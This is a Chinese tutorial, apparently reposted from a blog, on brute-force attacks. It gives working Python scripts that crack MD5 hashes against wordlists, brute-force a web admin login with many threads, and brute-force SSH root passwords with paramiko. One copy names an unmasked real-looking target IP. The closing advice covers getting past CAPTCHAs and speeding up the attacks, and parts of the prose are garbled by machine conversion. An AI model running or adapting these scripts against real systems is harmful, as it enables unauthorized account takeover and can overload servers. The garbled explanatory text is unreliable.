《体系爆破：MD5易破，配景登录可爆破？》

声明：条记的只是方便各位师傅学习知识，以下代码、网站只涉及学习内容，其他的都与本人无关，切莫逾越法律红线，否则后果自尊。
爆破Sales体系

一、爆破MD5 场景：已知MD5的加密字符串，怎样得知明文？
解决方案：
算法碰撞：一串128位的MD5（32位16进制），其组合数量：2^128 字典碰撞：给定一个字典文件，读取里面的密钥明文，对其进行MD5加密，再和目标字符串进行对比，假如相同，则明文找到。
二、爆破配景

• 验证登录请求
  
• 已知用户名，爆破暗码
  
• 未知用户名，未知暗码爆破
  

三、爆破条件与防范

• 登录乐成或失败的条件可验证
  
• 服务器端允许多次失败登录而不会禁止
  

基于md5爆破-源码

1. import hashlib
2. import threading
3. import time
4. import requests
7. # 爆破md5
8. def md5(source):
9.     with open('字典/常见字典1000.txt') as file:
10.         pw_list = file.readlines()
11.     with open('字典/数字字母符号型1000+.txt') as file:
12.         pw_list2 = file.readlines()
13.     # 追加字典
14.     pw_list.extend(pw_list2)
15.     # 遍历列表，逐个对比
16.     for password in pw_list:
17.         if hashlib.md5(password.strip().encode()).hexdigest() == source:
18.             print(f'成功破解，密码是：{password.strip()}')
21. # 爆破某后台——仅爆破密码
22. # 单线程爆破
23. def ws_single():
24.     with open('字典/常见字典1000.txt') as file:
25.         pw_list = file.readlines()
26.     url = 'http://111.21.xxx.xxx:9090/login'
28.     count = 0
29.     for password in pw_list:
30.         data = {'username': 'admin', 'password': password.strip(), 'rememberMe': 'false'}  # 有时有验证码，需要另外操作
31.         resp = requests.post(url=url, data=data)
32.         if '{"msg":"用户不存在/密码错误","code":500}' not in resp.text:
33.             print(f'可能成功,密码为：{password.strip()}')
34.         count += 1
35.     print(f'共计尝试{count}次')
36.     exit()
39. # 同时，由于多线程并发登录，导致服务器压力剧增（DOS）,进而服务器的响应时间会显著变慢
40. # 爆破某后台——不知账号不知密码
41. # 多线程爆破
42. count = 0
45. def ws_thread(username):
46.     with open('字典/常见弱口令字典1000.txt') as file:
47.         pw_list = file.readlines()
48.     url = 'http://111.21.xxx.xxx:9090/login'
49.     global count
50.     for password in pw_list:
51.         data = {'username': username, 'password': password.strip(), 'rememberMe': 'false'}  # 有时有验证码，需要另外操作
52.         resp = requests.post(url=url, data=data)
53.         if '{"msg":"用户不存在/密码错误","code":500}' not in resp.text:
54.             print(f'可能成功,账号为：{username.strip()}密码为：{password.strip()}')
55.             exit()
56.         count += 1
57.     print(f'共计尝试{count}次')
60. # 如果用户字典有5000条怎么处理
63. if __name__ == '__main__':
64.     # md5('cbb11ed87dc8a95d81400c7f33c7c171')
65.     with open('字典/2017_top100.txt') as file:
66.         user_list = file.readlines()
67.     for username in user_list:
68.         threading.Thread(target=ws_thread, args=(username.strip(),)).start()

复制代码

基于md5爆破-源码

这段代码的重要目标是通过暴力破解的方式来实验恢复MD5哈希值对应的明文暗码，以及实验登录到一个配景体系。以下是对代码的具体分析：
1. 导入须要的库

1. import hashlib
2. import threading
3. import time
4. import requests

复制代码

• hashlib：用于计算MD5哈希值。
  
• threading：用于实现多线程，提高爆破服从。
  
• time：用于时间相关的操作（虽然在这个代码中没有利用）。
  
• requests：用于发送HTTP请求。
  

2. 爆破MD5

1. def md5(source):
2.     with open('字典/常见弱口令字典1000.txt') as file:
3.         pw_list = file.readlines()
4.     with open('字典/数字字母符号型1000+.txt') as file:
5.         pw_list2 = file.readlines()
6.     pw_list.extend(pw_list2)
7.     for password in pw_list:
8.         if hashlib.md5(password.strip().encode()).hexdigest() == source:
9.             print(f'成功破解，密码是：{password.strip()}')

复制代码

• 读取两个字典文件中的暗码列表。
  
• 将两个列表合并。
  
• 遍历每个暗码，计算其MD5哈希值并与目标哈希值进行比力。
  
• 假如匹配乐成，打印出暗码。
  

3. 单线程爆破配景暗码

1. def ws_single():
2.     with open('字典/常见弱口令字典1000.txt') as file:
3.         pw_list = file.readlines()
4.     url = 'http://111.21.250.30:9090/login'
5.     count = 0
6.     for password in pw_list:
7.         data = {'username': 'admin', 'password': password.strip(), 'rememberMe': 'false'}
8.         resp = requests.post(url=url, data=data)
9.         if '{"msg":"用户不存在/密码错误","code":500}' not in resp.text:
10.             print(f'可能成功,密码为：{password.strip()}')
11.         count += 1
12.     print(f'共计尝试{count}次')
13.     exit()

复制代码

• 读取暗码字典。
  
• 对指定的URL发送POST请求，实验登录。
  
• 假如响应中不包含错误信息，认为登录可能乐成。
  
• 统计实验次数并退出。
  

4. 多线程爆破配景账号暗码

1. count = 0
3. def ws_thread(username):
4.     global count
5.     with open('字典/常见弱口令字典1000.txt') as file:
6.         pw_list = file.readlines()
7.     url = 'http://111.21.250.30:9090/login'
8.     for password in pw_list:
9.         data = {'username': username, 'password': password.strip(), 'rememberMe': 'false'}
10.         resp = requests.post(url=url, data=data)
11.         if '{"msg":"用户不存在/密码错误","code":500}' not in resp.text:
12.             print(f'可能成功,账号为：{username.strip()}密码为：{password.strip()}')
13.             exit()
14.         count += 1
15.     print(f'共计尝试{count}次')
17. if __name__ == '__main__':
18.     with open('字典/2017_top100.txt') as file:
19.         user_list = file.readlines()
20.     for username in user_list:
21.         threading.Thread(target=ws_thread, args=(username.strip(),)).start()

复制代码

• 读取用户名字典。
  
• 对每个用户名启动一个线程，实验利用暗码字典中的暗码进行登录。
  
• 假如登录乐成，打印出用户名和暗码并退出。
  
• 利用全局变量count统计实验次数。
  

注意事项和潜在问题

• 法律和道德问题：未经授权的暴力破解活动是违法的，可能会导致严重的法律后果。
  
• 性能问题：多线程爆破会显着增长服务器的压力，可能导致服务器响应变慢甚至瓦解。
  
• 安全性问题：代码中没有处理验证码等安全步调，实际应用中可能需要额外的处理。
  
• 错误处理：代码中没有对网络请求的非常进行处理，可能会导致步伐瓦解。
  

改进建议

• 增长非常处理：对网络请求和其他可能出现的非常进行处理，提高步伐的健壮性。
  
• 优化多线程：可以考虑利用线程池来管理线程，避免创建过多线程导致体系资源耗尽。
  
• 增长延迟：在每次请求之间增长得当的延迟，减少对服务器的压力。
  
• 处理验证码：假如目标体系有验证码，需要实现验证码的处理逻辑。
  

这段代码展示了暴力破解的根本思路，但在实际应用中需要非常谨慎，确保有合法的授权和充实的准备。
ssh多线程爆破—源码

1. import time
2. import requests
3. import threading
4. import hashlib
6. # 每个任务分10条
7. count = 0
9. def threads(sublist):
10.     with open('字典/常见弱口令字典1000.txt') as file:
11.         pw_list = file.readlines()
12.     url = 'http://111.21.xxx.xxx:9090/login'
13.     global count
14.     for username in sublist:
15.         for password in pw_list:
16.             data = {'username': username.strip(), 'password': password.strip(), 'rememberMe': 'false'}  # 有时有验证码，需要另外操作
17.             resp = requests.post(url=url, data=data)
18.             if '{"msg":"用户不存在/密码错误","code":500}' not in resp.text:
19.                 print(f'可能成功,账号为：{username.strip()}密码为：{password.strip()}')
20.             count += 1
21.         print(f'共计尝试{count}次')
22.         exit()
25. # 爆破ssh
26. import paramiko
29. def ssh_creak():
30.     with open('字典/2017_top100.txt') as file:
31.         pw_list = file.readlines()
33.     for password in pw_list:
34.         try:
35.             transport = paramiko.Transport(('192.168.xxx.xxx', 22))
36.             transport.connect(username='root', password=password.strip())
37.             print(f"请求登录，密码为：{password.strip()}")
38.         except:
39.             pass
40.         time.sleep(2)
41.             # ssh = paramiko.SSHException()
42.             # ssh._transport = transport
45. if __name__ == '__main__':
46.     # 每个线程负责10个用户
47.     # with open('字典/常见字典1000.txt') as file:
48.     #     user_list = file.readlines()
49.     # for i in range(0, len(user_list), 10):
50.     #     sublist = user_list[i:i + 10]
51.     #     threading.Thread(target=threads, args=(sublist,)).start()
52.     ssh_creak()

复制代码

ssh多线程爆破—源码剖析

这段代码重要实现了两个功能：一是对指定URL的登录接口进行暴力破解实验，二是实验利用暗码字典对SSH服务进行暴力破解。
一、登录接口暴力破解部分

• 全局变量与函数定义
  
  
  
  • 定义了全局变量count用于计数实验次数。
    
  • threads函数接受一个用户名子列表作为参数。
    
    
    
    • 函数内部首先打开包含暗码的字典文件常见字典1000.txt，读取其中的暗码列表pw_list。
      
    • 设定目标登录接口的url为http://111.21.xxx.xxx:9090/login。
      
    • 对于子列表中的每个用户名，遍历暗码列表。
      
      
      
      • 构造包含用户名、暗码和rememberMe字段（值为false）的data字典。
        
      • 利用requests.post方法向目标url发送登录请求。
        
      • 假如响应文本中不包含表示用户不存在或暗码错误的特定字符串{"msg":"用户不存在/暗码错误","code":500}，则认为可能是精确的账号暗码组合并打印出来。
        
      • 每次实验后count加1，并在处理完一个用户名的所有暗码实验后打印出总的实验次数，然后退出步伐。
        
      
      
    
    
  
  
• 多线程相关（被注释部分）
  
  
  
  • 原本筹划是读取用户名字典文件（如常见字典1000.txt），将用户名列表按每10个一组划分成子列表。
    
  • 针对每个子列表启动一个线程，线程的目标函数为threads，并传入相应的子列表作为参数。
    
  
  

二、SSH暴力破解部分

• ssh_creak函数
  
  
  
  • 打开名为2017_top100.txt的暗码字典文件，读取其中的暗码列表pw_list。
    
  • 对于暗码列表中的每个暗码：
    
    
    
    • 实验利用paramiko.Transport建立到192.168.xxx.xxx地址的SSH毗连，端口为22，用户名固定为root，暗码为当前实验的暗码。
      
    • 假如毗连乐成（即没有抛出非常），则打印出正在实验的暗码。
      
    • 无论毗连是否乐成，都会停息2秒（time.sleep(2)），这可能是为了避免过于频繁的毗连实验导致被目标主机封禁。
      
    
    
  
  

三、整体代码的问题与风险

• 服从问题
  
  
  
  • 在登录接口暴力破解部分，每次处理完一个用户名就退出步伐，这可能不是预期的活动，假如是多线程执行，如许会导致只有一个线程执行完就结束整个步伐。
    
  • 对于SSH暴力破解部分，没有利用多线程或多进程来加速实验过程，在暗码字典较大时服从会很低。
    
  
  
• 安全性与合规性问题
  
  
  
  • 这种暴力破解活动假如没有得到目标体系的授权，是不道德且可能违反法律法规的活动。
    
  • 在实际应用中，目标体系可能会有各种防护步调，如验证码、登录失败次数限制等，这段代码没有考虑这些情况。
    
  
  

四、改进建议

• 修复多线程逻辑
  
  
  
  • 假如要利用多线程进行登录接口的暴力破解，应该修正线程启动部分的代码，确保所有线程都能正常执行而不是只执行一个就退出。
    
  
  
• 优化SSH暴力破解服从
  
  
  
  • 可以考虑利用多线程或多进程来提高SSH暗码实验的速度，但要注意遵守法律法规和目标体系的利用规则。
    
  
  
• 增长防护步调应对机制
  
  
  
  • 假如是在合法的安全测试场景下，应该增长代码来处理目标体系可能存在的验证码、登录失败次数限制等情况。
    
  
  

 

免责声明：如果侵犯了您的权益，请联系站长，我们会及时删除侵权内容，谢谢合作！更多信息从访问主页：qidao123.com:ToB企服之家，中国第一个企服评测及商务社交产业平台。